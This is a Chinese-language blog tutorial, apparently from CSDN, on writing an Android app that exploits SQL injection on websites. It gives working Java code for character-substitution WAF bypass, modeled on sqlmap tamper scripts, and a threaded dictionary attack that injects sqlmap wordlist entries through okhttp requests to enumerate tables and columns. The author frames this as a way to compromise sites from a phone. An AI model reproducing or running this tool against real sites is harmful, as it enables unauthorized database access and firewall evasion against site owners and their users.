禁止转载
作者:Kali_MG1937
QQ:3496925334
CSDN博客账号:ALDYS4
使用电脑端进行渗透
或者手机刷了nethunter的情况就不用讲了
渗透拿站妥妥的
但如果你正好使用的是没有任何渗透工具的手机,而正好想要测试某网站的SQL注入漏洞时呢?
话不多说,进入正题,我们就自己写一个注入漏洞利用工具!
开始构思
想要利用SQL漏洞需要有什么功能?
由于时间有限,就先实现一个跑字典爆数据库的功能
字典就使用Sqlmap自带的字典,我提取出来放在sd卡里了
接下来就让工具自动判断字典里的内容是否在网站数据库里存在
如何判断?以什么作为依据?
①就让返回的状态码作为判断条件
之前碰到一个存在注入漏洞的站点
如果SQL查询失败,会返回404或者500
否则就是200
那有同学就要问了
那如果网站无论查询返回true还是false,网站都照常显示,并且状态码是200怎么办?
这还不好办?
②根据网站内容判断
如果网站查询失败,一定有某些特征,比如因为查询失败,文章不显示,或其他的一些特征
那么就判断:如果网站内容和查询成功时不一样,就算查询失败!
开始工程
要让工具检测字典中的内容是否存在于站点数据库内
那么就先使用BufferedReader读取字典内容
并利用while循环判断字典的下一行是否存在字符
若存在,将这行的内容带入注入语句,向网站发出请求
但在进行注入之前还有一个要解决的问题
如果网站有waf拦截呢?
那就要实现sqlmap对注入语句进行处理的功能了
我之前学习python时看过一部分的tamper脚本
发现几乎都是将注入句分为独立的一个个字符
对每个字符进行处理,并将处理后的字符赋值给新字符串
最后再带入sqlmap进行注入
那么我也可以按照sqlmap的思路对字符串进行处理
建立一个FileControl类
在其中建立一个wafPass方法
要向wafPass里传入三个值
public void wafPass(String inject,String[] R,String[] T)
顾名思义
inject就是要处理的sql注入语句
字符组R指要替换的字符
字符组T指替换成指定的字符
比如sql语句:select count(*) from table
假设"select"被waf拦截,但可通过替换大小写绕过waf
那么要让"select"转换成其他可代替的字符
我可以向R传入含有"s"的字符组
向T传入对应位置为"S"的字符组
注入语句处理后的select就会变为Select从而绕过waf
具体实现代码如下
public String wafPass(String inject,String[] R,String[] T) {//逐段替换
String retVal="";
StringBuffer stringBuffer=new StringBuffer();
for (int i=0;i<inject.length();i++)//遍历注入句字符
{
for(int i2=0;i2<R.length;i2++)//遍历"替换"表
{int len=R[i2].length();
if(i+len>inject.length()) {//避免数组越界
continue;
}
else if(len==0){//避免空字节导致的内存溢出
continue;
}
String sub=inject.substring(i, i+R[i2].length());
if(sub.equals(R[i2]))
{
retVal=T[i2];
i=i+R[i2].length()-1;
break;
}else {
retVal=inject.substring(i,i+1);
}
}
stringBuffer.append(retVal);
}
return stringBuffer.toString();
}
利用substring方法对每个字符进行检查,如果字符和要替换的字符组里的任意一个符合
就直接替换成对应的字符
这样就实现了逐字替换的功能
可能有同学要问
为什么不直接调用replace方法进行替换,而要麻烦地逐字替换字符?
因为replace之后sql语句的内容已经改变,再进行replace可能会破坏sql语句原意
所以为了保险起见而逐字对语句进行检查和处理之后再进行SQL注入的操作
直接利用Android自带的httpclient或者URLConnection进行注入操作是行不通的,
因为若请求中包含特殊字符,就必须使用encoder来对请求进行编码,
这样就无法达到注入的预期效果,所以这里我选择使用okhttp3.4进行请求
compile 'com.squareup.okhttp3:okhttp:3.4.1'
直接建立一个线程,调用wafPass方法先对注入语句进行处理
然后再进行注入
public void Sqlinject(final String sql,final String Path) {//爆表和列
new Thread(new Runnable(){
@Override
public void run()
{ try
{
BufferedReader br=new BufferedReader(new FileReader(Path));
String str="";
while ((str = br.readLine()) != null)
{
try
{
Thread.sleep(Integer.valueOf(delay.getText().toString()));
}
catch (InterruptedException e)
{}
if(Run.equals("stop")){break;}
if (sql.indexOf("ん") == -1)
{//若替换符不存在
break;//则一转攻势,停止循环
}
else
{//否则就不要停下来啊?
final String True_c=True.getText().toString();
final String False_c=False.getText().toString();
String payload=sql.replace("ん",str);
payload=file.wafPass_A(payload,A,AT);
payload=file.wafPass(payload,Re,T);
String codes=requestUrl(url.getText().toString()+payload);
show(payload);
if(codes.equals(True_c)){
happen("存在:"+str+" Code:"+codes+"\n");
}
else if(codes.equals(False_c)){
show(payload);
}
else{
show(payload);
happen("自行判断:"+str+" 意料之外的Code:"+codes+"\n");
}
}
}
show("结束");
br.close();//希望の?
}
catch (IOException e)
{}
}
}).start();
}
其中file就是FileControl对象
wafPass_A方法是我另外写的利用replace替换字符的方法
其中一些方法我没在这篇文章里讲
所以具体看源码
因为代码里大部分的逻辑都很不好讲,所以没法在文章里表达
软件是不止写了这一个功能的,由于篇幅有限
也没有明确的思路表达要讲的意思
所以话不多说,直接放源码和图片
这可能是我写过的最不尽人意的文章了,因为要表达的东西太多了
又不得不简化